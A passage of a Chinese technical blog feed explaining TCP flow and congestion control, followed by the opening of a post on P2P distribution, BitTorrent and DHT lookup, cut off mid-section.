&lt;li&gt;&lt;strong&gt;意义&lt;/strong&gt;：帮助发送方判断是否需要撤回拥塞窗口的减小操作，从而&lt;strong&gt;优化拥塞控制策略&lt;/strong&gt;，提升传输性能。(sysctl net.ipv4.tcp_dsack  # Linux 默认开启)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 TCP 是&quot;流&quot;式传输，这意味着没有消息边界——你 &lt;code&gt;send()&lt;/code&gt; 了 1000 字节，对方可能分两次 &lt;code&gt;recv()&lt;/code&gt; 收到，也可能和下一次发送的数据粘在一起。这就是经典的&quot;粘包&quot;问题根源。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;五、滑动窗口与流量控制&lt;/h2&gt;
&lt;h3&gt;滑动窗口(Sliding Window)&lt;/h3&gt;
&lt;p&gt;为了提高吞吐量，TCP 引入了滑动窗口。
窗口大小是指&lt;strong&gt;无需等待ACK确认应答就可以继续发送数据的最大值&lt;/strong&gt;。本质是操作系统开辟的一块缓存空间，发送方在收到ACK应答之前，必须在缓冲区保留已发送的数据，以便在丢包时重传。&lt;/p&gt;
&lt;h4&gt;1. 发送方的滑动窗口&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;窗口大小 = 8 时：
    已确认   已发未确认  未发可发   未发不可发
  ┌───────┬───────────┬─────────┬─────────────┐
  │ 1 2 3 │ 4 5 6 7 8 │ 9 10 11 │ 12 13 14 ...│
  └───────┴───────────┴─────────┴─────────────┘
            ↑           ↑     ↑
         SND.UNA     SND.NXT  窗口右边界
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SND.UNA(Send Unacknowledged)&lt;/strong&gt;：指向已发送但未收到确认的第一个字节（窗口左边界的绝对指针）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SND.NXT(Send Next)&lt;/strong&gt;：指向下一个待发送字节的序列号的绝对指针&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SND.WND(Send Window)&lt;/strong&gt;：发送窗口的大小（它由接收方在 ACK 中通告，同时也受自身拥塞窗口cwnd的制约）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;窗口右边界&lt;/strong&gt;：计算公式为 &lt;code&gt;SND.UNA + SND.WND&lt;/code&gt;（即 4 + 8 = 12，指向 12 号字节）
收到 ACK 后，窗口向右滑动，释放新的可用空间。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 接收方的滑动窗口&lt;/h4&gt;
&lt;p&gt;已收且确认 + &lt;strong&gt;未收但可收&lt;/strong&gt; + 未收且不可收&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RCV.NXT(Receive Next)&lt;/strong&gt;：指向期望从发送方收到的下一个字节的序列号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RCV.WND(Receive Window)&lt;/strong&gt;：接收窗口的大小，通告给发送方&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;窗口右边界&lt;/strong&gt;：计算公式为 &lt;code&gt;RCV.NXT + RCV.WND&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;滑动窗口与缓冲区的关系&lt;/h4&gt;
&lt;p&gt;滑动窗口是基于&lt;strong&gt;操作系统缓冲区&lt;/strong&gt;实现的，而操作系统的缓冲区大小是&lt;strong&gt;有限的&lt;/strong&gt;且&lt;strong&gt;动态变化&lt;/strong&gt;的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;接收方&lt;/strong&gt;：&lt;code&gt;接收窗口rwnd = 接收缓冲区大小 - 已接收但未被应用进程读取的数据&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发送方&lt;/strong&gt;：&lt;code&gt;发送窗口swnd = min(接收窗口rwnd, 拥塞窗口cwnd)&lt;/code&gt;。
P.S. 发送窗口和接收窗口并不完全相等。由于网络传输存在&lt;strong&gt;时延RTT&lt;/strong&gt;，发送方接收到的“窗口通告”是接收方过去某一时刻的状态快照。此外，发送方还要考虑网络拥塞程度&lt;code&gt;cwnd&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;流量控制(Flow Control)&lt;/h3&gt;
&lt;p&gt;如果发送方发送数据过快，接收方来不及接收（处理速度跟不上），就会导致接收缓冲区溢出，报文被丢弃，从而触发重传，浪费网络资源。
所以&lt;strong&gt;流量控制&lt;/strong&gt;的目的就是：&lt;strong&gt;让发送方的发送速率不要超过接收方的读取能力。&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;1. 流量控制的实现：窗口通告&lt;/h4&gt;
&lt;p&gt;TCP 利用&lt;strong&gt;滑动窗口&lt;/strong&gt;实现流量控制。在 TCP 首部中有一个16位的 &lt;code&gt;Window&lt;/code&gt; 字段，接收方在每次 ACK 中都会填入自己当前&lt;strong&gt;接收窗口rwnd&lt;/strong&gt;大小的这个信息，告诉发送方：“我这儿还有多少空位，你最多还能发这么多。”&lt;/p&gt;
&lt;h4&gt;2. 内核缓冲区缩减&lt;/h4&gt;
&lt;p&gt;若接收方操作系统压力过大，决定把缓冲区缩减，TCP 规定不允许同时收缩窗口(窗口右边界左移)和减少缓存，而是采用&lt;strong&gt;先收缩窗口，过段时间再减少缓存&lt;/strong&gt;，这样就可以避免了 收缩窗口的ACK报文还在路上飞的时候，发送方的大包已经发出来，最终接收方因存不下而丢弃包情况。（若发送方收到收缩窗口ACK后发现发送窗口为负数，视为零窗口Block阻塞）&lt;/p&gt;
&lt;h4&gt;3. 零窗口(&lt;code&gt;Zero Window&lt;/code&gt;)死锁与窗口探测(&lt;code&gt;Window Probe&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;若接收方处理极其缓慢，导致接收方缓冲区被填满时，会通告&lt;strong&gt;窗口为 0&lt;/strong&gt;。此时发送方Block阻塞，停止发送数据。
&lt;strong&gt;死锁风险：&lt;/strong&gt;
若随后接收方应用处理了数据，空出了窗口并向发送方发送了「窗口更新」报文(ACK确认号没变但窗口变大[TCP Window Update])，但如果这个&lt;strong&gt;报文在网络中丢失了&lt;/strong&gt;，则：发送方在等窗口更新；接收方在等新数据。双方陷入无限等待，即&lt;strong&gt;死锁&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决方案：窗口探测(&lt;code&gt;Window Probe&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当发送方收到零窗口通告时，会启动&lt;strong&gt;持续计时器(Persist Timer)&lt;/strong&gt;。（指数退避上限120s）&lt;/li&gt;
&lt;li&gt;计时器超时后，发送方会主动发送一个&lt;strong&gt;1字节&lt;/strong&gt;的&lt;strong&gt;窗口探测报文&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;接收方必须对此报文给出 ACK，并通告当前最新的窗口大小。&lt;/li&gt;
&lt;li&gt;如果窗口仍为 0，发送方会&lt;strong&gt;重置计时器&lt;/strong&gt;并重复此过程；如果窗口大于 0，则死锁解除，恢复传输。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果没收到回复的ACK，重传次数计数器++，等待重传时间指数退避上限120s。
sysctl net.ipv4.tcp_retries1 (= 3):  重传达到tcp_retries1次后，内核会尝试更新路由缓存，但不会断开连接。
sysctl net.ipv4.tcp_retries2 (= 15): 重传达到tcp_retries2次后，内核会直接释放连接。&lt;/p&gt;
&lt;h4&gt;4. 糊涂窗口综合征(Silly Window Syndrome)&lt;/h4&gt;
&lt;p&gt;如果接收方处理太慢，或者发送方发送的数据太碎，会导致网络中充斥着大量“小包”（40字节首部 + 只传几个字节数据），这种现象叫&lt;strong&gt;糊涂窗口综合征&lt;/strong&gt;。
&lt;strong&gt;A. 接收方的策略（延迟窗口通告）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Clark&lt;/code&gt; 策略&lt;/strong&gt;：如果空掉的缓冲区小于 &lt;code&gt;min(MSS, 接收缓冲区/2)&lt;/code&gt;，接收方就继续通告 &lt;strong&gt;窗口为 0&lt;/strong&gt;。等攒够了大的空位，再一次性开放窗口。
&lt;strong&gt;B. 发送方的策略（Nagle 算法）&lt;/strong&gt;：&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Nagle&lt;/code&gt; 算法&lt;/strong&gt;的核心是：(窗口大小和数据量均达到&lt;strong&gt;MSS&lt;/strong&gt; || 收到了之前发出所有的数据的&lt;strong&gt;ACK&lt;/strong&gt;)，在网络中没收到确认之前，先把应用层的小数据攒在发送缓存里。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Nagle 算法虽然能减少小包、保护网络，但会带来额外的延迟（因为在等 ACK 或等数据攒够）。
对于网游、SSH远程登录、实时交互等对延迟敏感的应用，必须通过设置 &lt;code&gt;TCP_NODELAY&lt;/code&gt; 选项来&lt;strong&gt;禁用 Nagle 算法&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// 在 Socket 层面禁用 Nagle 算法，实现高实时性
int on = 1;
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &amp;amp;on, sizeof(on));
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、拥塞控制&lt;/h2&gt;
&lt;p&gt;拥塞控制防止发送方数据&lt;strong&gt;灌满整个网络&lt;/strong&gt;，避免全局性拥塞崩溃。核心变量是&lt;strong&gt;拥塞窗口cwnd(congestion window)&lt;/strong&gt;。（实际发送窗口swnd = min(cwnd, rwnd)）&lt;/p&gt;
&lt;h3&gt;拥塞控制四大算法&lt;/h3&gt;
&lt;h4&gt;慢启动(Slow Start)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;初始 cwnd = 1 MSS&lt;/li&gt;
&lt;li&gt;每收到一个 ACK: cwnd += MSS （等价于 cwnd 翻倍）&lt;/li&gt;
&lt;li&gt;1 → 2 → 4 → 8 → 16 → ...   （指数增长）&lt;/li&gt;
&lt;li&gt;当 cwnd 达到 &lt;strong&gt;ssthresh&lt;/strong&gt; 慢启动门限(slow start threshold =65535)后，转入&lt;strong&gt;拥塞避免&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;拥塞避免(Congestion Avoidance)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;每收到一个 ACK: cwnd += 1/cwnd MSS （等价于增加 1 MSS）&lt;/li&gt;
&lt;li&gt;16 → 17 → 18 → 19 → 20 → ...（线性增长）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;拥塞发生&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;触发条件&lt;/th&gt;
&lt;th&gt;处理策略&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;超时重传&lt;/strong&gt;（严重拥塞）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssthresh = cwnd / 2&lt;/code&gt;，&lt;code&gt;cwnd = 初始化值&lt;/code&gt;(比如 1 MSS)，重新&lt;strong&gt;慢启动&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3ACK快速重传&lt;/strong&gt;（轻度拥塞）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssthresh = cwnd / 2&lt;/code&gt;，&lt;code&gt;cwnd = ssthresh + 3&lt;/code&gt;，进入&lt;strong&gt;快速恢复&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;快速恢复(Fast Recovery)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;快速重传丢失的包&lt;/li&gt;
&lt;li&gt;每收到一个重复 ACK：cwnd += 1 (因为 每多收到一个重复 ACK，其本质意味着是一个包离开了网络。我们要维持网络的负载平衡，所以每离开一个包，就把 cwnd 膨胀 1，让发送方能继续“挤”出新数据，保持管道的吞吐。)&lt;/li&gt;
&lt;li&gt;收到新数据的 ACK 后：cwnd = ssthresh，回到&lt;strong&gt;拥塞避免&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>P2P&amp;CDN</title><link>https://blog.alinche.dpdns.org/posts/net/p2pcdn/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/net/p2pcdn/</guid><description>P2P技术详解</description><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;深入浅出 P2P 技术：从分发模型到 BitTorrent 协议详解&lt;/h1&gt;
&lt;p&gt;在传统的网络应用中，我们习惯了 &lt;strong&gt;客户端-服务器（C/S）&lt;/strong&gt; 架构：你要下电影，就去服务器下。但随着互联网用户爆发式增长，C/S 架构的弊端日益显现——服务器带宽成了瓶颈。&lt;/p&gt;
&lt;p&gt;本篇博客将结合 P2P 的核心原理，分析其为什么具有“自扩展性”，并深入解析 BitTorrent 这一天才般的协议。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 为什么需要 P2P？（分发时间对比）&lt;/h2&gt;
&lt;p&gt;要理解 P2P 的价值，我们需要对比 &lt;strong&gt;C/S 架构&lt;/strong&gt; 和 &lt;strong&gt;P2P 架构&lt;/strong&gt; 在分发一个大小为 $F$ 的大文件给 $N$ 个用户时所需的时间。&lt;/p&gt;
&lt;h3&gt;C/S (集中式)架构的局限&lt;/h3&gt;
&lt;p&gt;在 C/S 模式下，服务器是唯一的源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服务器瓶颈&lt;/strong&gt;：服务器必须发送 $N$ 个副本，总流量 $N \times F$，受限于服务器的上行带宽 $u_s$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;客户端瓶颈&lt;/strong&gt;：每个客户端下载速度受限于自己的下行带宽 $d_{min}$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公式&lt;/strong&gt;：$D_{C/S} \ge \max { \frac{NF}{u_s}, \frac{F}{d_{min}} }$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：随着用户数 $N$ 的增加，分发时间呈 &lt;strong&gt;线性增长&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;P2P (去中心化)架构的优势&lt;/h3&gt;
&lt;p&gt;在 P2P 模式下，每个 Peer 对等方既是下载者，也是上传者：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服务器&lt;/strong&gt;：服务器只需发送至少一个副本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自扩展性&lt;/strong&gt;：当新用户加入时，他们虽然增加了需求，但也贡献了上行带宽。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公式&lt;/strong&gt;：$D_{P2P} \ge \max { \frac{F}{u_s}, \frac{F}{d_{min}}, \frac{NF}{u_s + \sum u_i} }$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：随着 $N$ 的增加，分发时间会趋于平缓，展现出强大的 &lt;strong&gt;自扩展性&lt;/strong&gt;(系统总上传能力随节点增长而增长)。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2. BitTorrent 协议：P2P 的工业级实现&lt;/h2&gt;
&lt;p&gt;BitTorrent(&lt;code&gt;BT&lt;/code&gt;) 是 P2P 技术的典型代表，是一套复杂的分布式资源调度系统。
它将一个大文件切分成一个个固定大小（通常为 256KB）的 &lt;strong&gt;Chunk块&lt;/strong&gt; 后，其分发过程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;位图(&lt;code&gt;Bitfield&lt;/code&gt;)交换&lt;/strong&gt;：当 Peer A 连接到 Peer B 时，它们首先交换各自拥有的块列表。这是一个由 0 和 1 组成的位图(Bitfield)，1 表示拥有该块，0 表示缺失。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持续更新&lt;/strong&gt;：每当 Peer 下载到一个新块，它会向所有邻居发送一个 &lt;strong&gt;Have消息&lt;/strong&gt;，通知大家：“我又多了一个块，快来拿！”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态追踪&lt;/strong&gt;：每个 Peer 都会维护邻居们的位图，从而知道“谁有我想要的”以及“我能给谁提供帮助”。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;核心组件&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Tracker(追踪器)&lt;/strong&gt;：一个中央服务器，维护参与分发的所有 Peer 列表。它不负责传文件，只负责“介绍对象”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Torrent(种子文件)&lt;/strong&gt;：包含文件的元数据（大小、哈希值）以及 Tracker 的地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Peer Group(洪流/群)&lt;/strong&gt;：正在互相交换该文件块的所有对等方。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;博弈论策略：如何高效交换？&lt;/h3&gt;
&lt;p&gt;在 BT 网络中，我怎么知道找谁要块？给谁传块？这里有两个核心算法：&lt;/p&gt;
&lt;h4&gt;(1) 最稀缺优先（Rarest First）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逻辑&lt;/strong&gt;：在下载过程中，Peer 并不是从头到尾按顺序下载文件的，而是统计所有邻居拥有的块，计算每个块在当前局部网络中的副本总数。优先请求那个副本数量最少的块。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深度原因&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;防止“孤块”断供&lt;/strong&gt;：如果大家都先下热门块，而唯一拥有稀缺块的 Seeder 下线了，文件分发就会卡在 99% 永远无法完成。最稀缺优先同时让块在网络中分布更均匀。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提高交换价值&lt;/strong&gt;：你手里持有的块越稀缺，你在 Peer 群中的“议价能力”就越强，别人越愿意为了换取你的稀缺块而给你提供带宽。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(2) “一报还一报”策略（Tit-for-Tat）&lt;/h4&gt;
&lt;p&gt;为了防止“只下载不上传”的吸血鬼行为，BT 引入了激励机制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unchoked&lt;/strong&gt;： Peer 会每隔10秒评估邻居的上传速率，选出 &lt;strong&gt;前 4 名&lt;/strong&gt; 速度最快的邻居设为**Unchoked(解除阻塞)**状态，给他们全速发送数据，形成正反馈循环。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Optimistic Unchoking&lt;/strong&gt;：（乐观疏通）每隔30秒，随机选择一个被阻塞(Choked)的邻居发送数据。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;： 让新加入的 Peer 有机会获取第一个块，从而进入交换循环，而不是永远无法获得数据。这也有助于发现更有潜力的邻居。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;BT 中的角色&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Leecher(吸血鬼/下载者)&lt;/strong&gt;：文件尚未下全的节点。它们既下载也上传，受 Tit-for-Tat 机制约束。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Seeder(种子)&lt;/strong&gt;：已拥有完整文件的节点。
&lt;ul&gt;
&lt;li&gt;由于 Seeder 不再需要下载，它们不再使用 Tit-for-Tat 策略，而是通常采用&lt;strong&gt;公平算法&lt;/strong&gt;，谁求得勤或者谁的速度快，就优先给谁供货，直到它们退出网络。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;状态流转：Peer 之间在聊什么？&lt;/h3&gt;
&lt;p&gt;在技术实现层面，Peer 之间通过 TCP 连接交换特定的消息类型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keep-alive&lt;/strong&gt;: 维持连接。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Choke / Unchoke&lt;/strong&gt;: 我不再给你发数据了 / 我开始给你发数据了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interested / Not Interested&lt;/strong&gt;: 我想要你手里的某些块 / 你那里没有我想要的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request&lt;/strong&gt;: 请求某个特定的块（Index, Begin, Length）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Piece&lt;/strong&gt;: 实际的文件数据块。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. P2P 索引与发现：如何定位到资源文件？&lt;/h2&gt;
&lt;p&gt;定位资源的过程本质上是维护一个&lt;strong&gt;映射表&lt;/strong&gt;：&lt;code&gt;文件名/文件哈希 -&amp;gt; 持有该文件的 Peer IP 地址&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;3.1 非结构化 P2P (Unstructured P2P): 节点之间随机连接形成的随机图&lt;/h3&gt;
&lt;h4&gt;集中式目录（Napster模式）&lt;/h4&gt;
&lt;p&gt;这是最早期的 P2P 形式，虽然传输是点对点的，但&lt;strong&gt;目录查找&lt;/strong&gt;是&lt;strong&gt;中心化&lt;/strong&gt;的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;运行逻辑&lt;/strong&gt;：
&lt;ol&gt;
&lt;li&gt;每个 Peer 上线后，向中央服务器注册自己拥有的文件列表。&lt;/li&gt;
&lt;li&gt;中央服务器维护一个庞大的数据库（IP 地址 + 文件名）。&lt;/li&gt;
&lt;li&gt;当 Peer A 想搜资源时，询问中央服务器。服务器返回持有该文件的 Peer B 的 IP，A 再直接连 B 下载。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;致命缺陷&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;单点故障(Single Point of Failure)&lt;/strong&gt;：服务器挂了，整个网络瞬间瘫痪。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能瓶颈&lt;/strong&gt;：随着用户达到千万级，服务器处理查询请求的压力巨大。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法律风险&lt;/strong&gt;：由于服务器明明白白地记录了谁在分享版权内容，Napster 很快就因为侵权被法律诉讼直接封禁。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;全查询泛洪（Gnutella模式）&lt;/h4&gt;
&lt;p&gt;为了摆脱对中心服务器的依赖，Gnutella 走向了另一个极端：&lt;strong&gt;完全去中心化&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;运行逻辑&lt;/strong&gt;：
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;覆盖网络(Overlay Network)&lt;/strong&gt;：Peer 之间建立逻辑连接（每个 Peer 随机连几个邻居）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;泛洪查询(&lt;code&gt;Flooding&lt;/code&gt;)&lt;/strong&gt;：Peer A 想搜文件，就给所有邻居发查询请求Query。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;递归转发&lt;/strong&gt;：邻居收到后，如果自己没有，就转发给它的邻居。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTL&lt;/strong&gt;：为了防止请求在互联网上无限循环，每个请求都有一个 TTL（通常为 7），每转发一次减 1，减到 0 就丢弃。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;逆向响应&lt;/strong&gt;：如果 Peer B 找到了文件，它会沿着查询过来的路径（Reverse Path）回传一个 &lt;code&gt;QueryHit&lt;/code&gt; 消息。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;致命缺陷&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;广播风暴&lt;/strong&gt;：网络中充斥着海量的查询报文。如果网络有 100 万人，每人搜一次，产生的流量会瞬间瘫痪互联网。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;搜索延迟高&lt;/strong&gt;：可能搜了半天，请求还没传到有资源的人那里 TTL 就耗尽了。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;层次化覆盖网络（KaZaA / 电驴 / Skype）&lt;/h4&gt;
&lt;p&gt;这是对前两代的“折中方案”，它引入了**超级节点(Super Nodes)**的概念。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;运行逻辑&lt;/strong&gt;：
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;角色分化&lt;/strong&gt;：根据带宽、CPU 和稳定性，将 Peer 分为&lt;strong&gt;普通节点&lt;/strong&gt;和&lt;strong&gt;超级节点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;局部集中&lt;/strong&gt;：普通节点只连接一个超级节点。普通节点把自己拥有的文件列表告诉超级节点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;超级节点互联&lt;/strong&gt;：超级节点之间组成一个高层的 P2P 网络，互相交换索引信息或转发查询。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查询路径&lt;/strong&gt;：普通节点查询 -&amp;gt; 请求发给超级节点 -&amp;gt; 超级节点在本地查（快）或者去问其他超级节点（范围广）。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优势&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;兼顾效率与抗压&lt;/strong&gt;：不像 Napster 那样脆弱，也不像 Gnutella 那样混乱。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能优化&lt;/strong&gt;：它利用了互联网中“长尾效应”里的头部节点（高带宽、常年在线的用户）来承担索引任务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 结构化 P2P (Structured P2P / DHT, Distributed Hash Table): 分布式哈希表&lt;/h3&gt;
&lt;h4&gt;核心思想：Hash 映射，将文件名和节点IP映射到同一个数值空间内，被赋予了同样的身份地位&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;哈希化&lt;/strong&gt;：每个文件通过 SHA-1 等算法得到一个 160 位的&lt;strong&gt;InfoHash&lt;/strong&gt;，每个 Peer 启动时，根据其 IP 和端口同样算出 160 位的&lt;strong&gt;Node ID&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;就近存储原则&lt;/strong&gt;：Key 为 $K$ 的文件索引信息，必须存储在 Node ID 与 $K$ 在数学上&lt;code&gt;异或(XOR)距离&lt;/code&gt;最近（非物理距离）的那个节点上。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;查找流程：$O(\log N)$ 路由&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路由表(&lt;code&gt;K-buckets&lt;/code&gt;)&lt;/strong&gt;：节点会把 160 位的 ID 空间切分成 160 个区域（桶）。每个节点只记录少数邻居的信息，但这些邻居是按规则分布的（如 Chord 算法中的手指表，或 Kademlia 中的 K 桶）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跳跃式查找&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;当你要找 Key 为 $K$ 的文件，而你手里没有时，你会把请求发给 Node ID 最接近 $K$ 的3位邻居发送，&lt;code&gt;FIND_NODE(K)&lt;/code&gt; 请求。&lt;/li&gt;
&lt;li&gt;这些邻居收到请求后，如果自己没有 $K$ 的信息，会返回它们各自路由表中离 $K$ 最近的Node ID节点名单。&lt;/li&gt;
&lt;li&gt;你拿到一堆新的、更近的Node ID名单，更新自己的候选列表，然后再向这批新节点发请求。定位到距离 $K$ 最近的节点，对方返回持有该文件的 Peer IP 列表。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;确定性&lt;/strong&gt;：就像二分查找一样不断逼近，搜索空间呈指数级缩小。在有 100 万个节点的网络中，通常只需要 10~20次 跳转就能精准定位资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;数据的存储与发布 (Publishing)&lt;/h4&gt;
&lt;p&gt;当你（Peer B）拥有一个文件想分享给别人时，不需要上传到服务器，只需在 DHT 网络中：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;计算 Hash&lt;/strong&gt;：算出文件的 Key $K$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;寻找归宿&lt;/strong&gt;：发起上述的 DHT 查找流程，找到全网 Node ID 离 $K$ 最近的 20 个节点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;宣告存储&lt;/strong&gt;：向这 20 个节点发送 &lt;code&gt;STORE&lt;/code&gt; 请求，告诉它们：“我是 Peer B，我手里有 $K$ 这个文件，请帮我记录一下。”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期刷新&lt;/strong&gt;：为了防止节点下线导致索引丢失，Peer B 会定期（如每小时）重新发布一次。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;节点加入与离开（自愈能力）&lt;/h3&gt;
&lt;ul&gt;
